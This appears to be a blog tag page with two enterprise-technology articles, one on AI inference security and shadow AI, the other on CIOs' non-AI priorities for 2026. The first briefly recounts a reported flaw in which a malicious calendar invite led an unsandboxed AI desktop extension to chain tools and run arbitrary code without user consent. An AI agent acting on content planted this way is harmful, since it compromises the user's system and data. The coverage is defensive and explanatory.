maddaisy – cultivating innovation

Tag: cybersecurity

  • AI Inference Is the Enterprise Security Risk Most Organisations Are Not Addressing

    Most enterprise AI security conversations still focus on training — how models are built, what data goes in, how to prevent poisoning. But the greater operational exposure sits elsewhere: in inference, the moment a trained model processes a live query and produces an output. That is where proprietary logic, sensitive prompts, and business strategy become visible to anyone watching the traffic.

    A recent panel hosted by The Quantum Insider, featuring leaders from BMO, CGI, and 01Quantum, put the point bluntly: inference is AI working, and AI working is where risk accumulates. Nearly half of the audience polled during the session admitted they lack confidence that their AI systems meet anticipated 2026 security standards. That number is consistent with broader industry data: a Cloud Security Alliance survey found that only 27 per cent of organisations feel confident they can secure AI used in core business operations.

    This is not an abstract concern. It is the practical, operational end of the governance conversation maddaisy has been tracking for weeks.

    Why inference, not training, is the exposure point

    Training happens once (or periodically). Inference happens continuously — every API call, every chatbot interaction, every agentic workflow execution. As Tyson Macaulay of 01Quantum explained during the panel, inference models often contain the distilled intellectual property of an organisation. In expert systems, the model itself reflects proprietary training data, domain knowledge, and internal logic. Reverse engineering an inference endpoint can reveal insights about what the organisation knows and how it thinks.

    But the exposure runs in both directions. Prompts themselves reveal information — about individuals, strategy, and operational priorities. A medical query reveals personal health data. A corporate query may signal product development direction. The question, in other words, can be as sensitive as the model.

    When maddaisy examined CIOs’ non-AI priorities in February, cybersecurity topped the list — precisely because AI adoption was expanding the attack surface. Dmitry Nazarevich, CTO at Innowise, described security spending increases as “directly related to the increase in exposure and risk to data associated with the increased attack surface resulting from the introduction of generative AI.” Inference security is where that expanding surface is most exposed — and most neglected.

    The shadow AI dimension

    The problem is compounded by what organisations cannot see. Research suggests that roughly 70 per cent of organisations have shadow AI in use — employees running unauthorised tools outside IT oversight. Every unsanctioned ChatGPT or Claude query involving company data is an unmonitored inference event, pushing proprietary information through systems the organisation does not control.

    JetStream Security, a startup founded by veterans of CrowdStrike and SentinelOne, raised $34 million in seed funding last week to address precisely this gap. The company’s product, AI Blueprints, maps AI activity in real time — which agents are running, which models they use, what data they access. The premise is straightforward: you cannot secure what you cannot see.

    When maddaisy covered shadow AI in February, the focus was on governance and policy. Inference security adds a harder technical dimension. It is not enough to write policies about acceptable AI use if the organisation has no visibility into what models are being queried, by whom, and with what data.

    Real-world vulnerabilities are already surfacing

    The risks are not hypothetical. In February, LayerX Security published a report describing a critical vulnerability in Anthropic’s Claude Desktop Extensions — a malicious calendar invite could silently execute arbitrary code with full system privileges. The issue stemmed from an architectural choice: extensions ran unsandboxed with direct file system access, enabling tools to chain actions autonomously without user consent.

    The debate that followed was instructive. Anthropic argued the onus was on users to configure permissions properly. Security researchers countered that competitors like OpenAI and Microsoft restricted similar capabilities through sandboxing and permission gates. The real lesson for enterprises is that inference-layer vulnerabilities are architectural, not incidental — and they require controls before deployment, not after.

    As Rock Lambros of RockCyber put it: “Every enterprise deploying agents right now needs to answer — did we restrict tool chaining privileges before activation, or did we hand the intern the master key and go to lunch?”

    The governance gap has a security-shaped hole

    Maddaisy has covered the emerging agentic AI governance playbook extensively — the frameworks from regulators, the principles converging around least-privilege access and real-time monitoring. But frameworks are policy instruments. Inference security is the engineering layer that makes those policies enforceable.

    The numbers illustrate the disconnect. According to the latest governance statistics compiled from major 2025-26 surveys, 75 per cent of organisations report having a dedicated AI governance process — but only 26 per cent have comprehensive AI security policies. Fewer than one in 10 UK enterprises integrate AI risk reviews directly into development pipelines. Governance without security controls is aspiration without implementation.

    The financial services sector offers a partial model. Kristin Milchanowski, Chief AI and Data Officer at BMO, described her bank’s approach during the Quantum Insider panel: bringing large language models in-house where possible, ensuring that additional training on proprietary data remains contained, and treating responsible AI as a board-level cultural priority rather than a compliance exercise. But BMO operates under some of the strictest regulatory regimes globally. Most enterprises do not face equivalent pressure — yet.

    What practitioners should be doing now

    The practical agenda emerging from this convergence of research is specific and actionable:

    Audit inference endpoints. Map every production AI system, including shadow deployments. The JetStream model — real-time visibility into which models are running, what data they touch, and who is responsible — is becoming table stakes.

    Apply least-privilege to AI agents. The agentic governance frameworks maddaisy covered last week prescribe this. At the inference layer, it means restricting tool chaining, sandboxing execution environments, and requiring explicit permission gates for cross-system actions.

    Build cryptographic agility into procurement. The Quantum Insider panel raised a forward-looking point: “harvest now, decrypt later” attacks — where encrypted inference traffic is collected today for decryption once quantum computing matures — are overtaking model drift as the top digital trust concern among infrastructure leaders. Embedding post-quantum cryptography expectations into vendor contracts now is practical and low-cost.

    Treat inference security as infrastructure. Not as a feature, not as an add-on. As the panel concluded: critical infrastructure must be secured before it is tested by failure.

    The operational layer matters most

    The governance conversation has matured rapidly. Frameworks exist. Principles are converging. Regulation is arriving. But between the policy layer and the production environment sits inference — the operational layer where AI actually works, where data flows through models, where prompts reveal strategy, and where the absence of controls creates the exposure that governance documents are supposed to prevent.

    Gartner projects spending on AI governance platforms will reach $492 million this year and surpass $1 billion by 2030. That money will be wasted if it funds policies without the engineering to enforce them. The organisations pulling ahead will be those that treat inference security not as a technical detail for the security team, but as the operational foundation on which their entire AI strategy depends.

  • The Non-AI Agenda: What CIOs Are Actually Prioritising Beyond Artificial Intelligence in 2026

    Global IT spending will hit $6.15 trillion in 2026, a 10.8 per cent rise on the previous year. But dig beneath that headline and the distribution is strikingly lopsided. Gartner’s latest forecast projects AI spending to surge 80.8 per cent and data centre outlays to climb 31.7 per cent, while communications services and device budgets limp along at low single digits. The message is clear: AI is swallowing the budget. The question is what happens to everything else.

    That question matters because, as maddaisy has documented over recent weeks, the AI investment thesis is under strain. PwC’s 2026 CEO Survey found that 56 per cent of executives cannot point to measurable revenue gains from their AI programmes, and governance frameworks are lagging well behind deployment ambitions. If the technology absorbing most of the budget has yet to prove its return, the priorities being squeezed to fund it deserve closer scrutiny.

    The squeeze is real — and deliberate

    John-David Lovelock, a vice president analyst at Gartner, describes a dynamic in which runaway AI spending is forcing CIOs to find savings elsewhere — and IT services providers are bearing the brunt. The logic is straightforward: buyers expect their vendors to be using AI internally, and they want those efficiency gains reflected in lower fees.

    “CIOs need to find somewhere that they have control of their budget, and they can pick on the services companies because they’re using AI,” Lovelock told CIO.com.

    But not every non-AI line item can be trimmed without consequences. Several priorities are growing more urgent precisely because of AI adoption, not despite it.

    Cybersecurity: AI’s expanding attack surface

    The most immediate non-AI priority is, paradoxically, driven by AI itself. Dmitry Nazarevich, CTO at software firm Innowise, notes that his company’s security spending increase “is directly related to the increase in exposure and risk to data associated with the increased attack surface resulting from the introduction of generative AI.”

    This is not a theoretical concern. Every new AI model integrated into enterprise workflows introduces new vectors — data exfiltration through prompt injection, model poisoning through compromised training data, and the simple reality that agentic systems with write access to business processes can do real damage if they malfunction or are manipulated. As enterprises move from experimental AI pilots to production deployments, security spending is not optional — it is the prerequisite.

    Data foundations: the unsexy precondition

    Salesforce CIO Dan Shmitt offered a telling anecdote about an AI agent on the company’s help site that surfaced two conflicting answers to the same question. “Our first reaction was to assume the model was wrong,” he said. “The truth was that our data and content needed more consistency.”

    This pattern — blaming the model when the real problem is the data — is remarkably common. Capgemini’s TechnoVision 2026 framework places “thriving on data” as one of its nine foundational technology domains, emphasising data sharing, AI-driven insights, and sustainable data practices. The message is consistent across vendors and analysts: AI systems are only as reliable as the data infrastructure beneath them.

    For CIOs who have spent two years funding AI pilots, investing in data quality, master data management, and integration architecture may feel like a step backwards. It is not. It is the work that determines whether those pilots ever graduate to production.

    Technical debt and modernisation

    Legacy systems are not merely an annoyance in an AI-first world — they are a bottleneck. Nazarevich highlights that increased modernisation spending at Innowise is “partly a result of the fact that legacy or outdated systems limit the effectiveness of AI technology and delay deployment schedules.”

    This creates a compounding problem. Organisations that deferred modernisation to fund AI experiments now find that their AI initiatives are underperforming because the underlying platforms cannot support them. The CIO.com analysis of strategic imperatives for 2026 makes the point explicitly: if eight out of 10 strategic priorities relate to AI, “you’re likely missing some critical emerging technologies and trends.”

    Edge computing, digital twins, and platform modernisation may not generate the boardroom excitement of a generative AI demo, but they are the infrastructure on which AI capabilities depend.

    FinOps: managing the unpredictable bill

    AI workloads have introduced a new kind of cost unpredictability into IT budgets. Unlike traditional cloud computing, where usage patterns are relatively stable and forecastable, AI inference costs can spike with demand in ways that are difficult to model in advance. Innowise reports increased FinOps spending specifically because of “the unpredictability of computing bills created by AI workloads.”

    FinOps — the practice of bringing financial accountability to cloud spending — is no longer a niche discipline for cloud-native firms. For any organisation running AI at scale, it has become an essential management capability. Without it, the 80 per cent surge in AI spending that Gartner forecasts could easily overshoot, consuming budget earmarked for the very modernisation and security initiatives that AI requires to succeed.

    Workforce fluency: the persistent gap

    Technology investment alone solves nothing if the people using it are not equipped to do so effectively. Rebecca Gasser, global CIO at FGS Global, frames this as a literacy challenge: building digital and AI fluency across the organisation so that workers “can be more agile and adaptable to the ongoing changes.”

    Pat Lawicki, CIO of TruStage, puts it more directly: “We’re committed to balancing innovation with humanity: leveraging digital tools where they add real value while preserving the human connection that defines trust and empathy.”

    This is consistent with the pattern maddaisy has tracked in recent coverage of AI-driven burnout and the organisational failures behind poor AI rollouts. The technology works best when employees understand it, trust it, and can exercise judgement about when to rely on it and when to intervene. That requires sustained investment in training, change management, and communication — none of which appear in an AI spending forecast but all of which determine whether the forecast delivers value.

    The convergence argument

    The most sophisticated framing of the CIO’s 2026 agenda comes not from treating AI and non-AI priorities as competitors for budget, but from recognising their interdependence. Capgemini’s TechnoVision 2026 describes a shift toward “synchronicity at scale” — the idea that boundaries between digital, physical, and biological innovation are dissolving, and that the CIO’s job is to orchestrate across all of them simultaneously.

    In practice, this means cybersecurity investment protects AI deployments. Data foundation work makes AI outputs reliable. Modernisation enables AI to reach production. FinOps keeps AI costs sustainable. Workforce fluency ensures AI adoption sticks.

    The CIOs who treat 2026 as an AI-only year will likely find themselves explaining, 12 months from now, why their AI investments still are not delivering returns. The ones who invest in the full stack — the security, the data, the infrastructure, the people — are building the conditions under which AI can actually work.

    That is not a story about choosing between AI and everything else. It is a story about understanding that AI does not operate in isolation, and neither should the budget that funds it.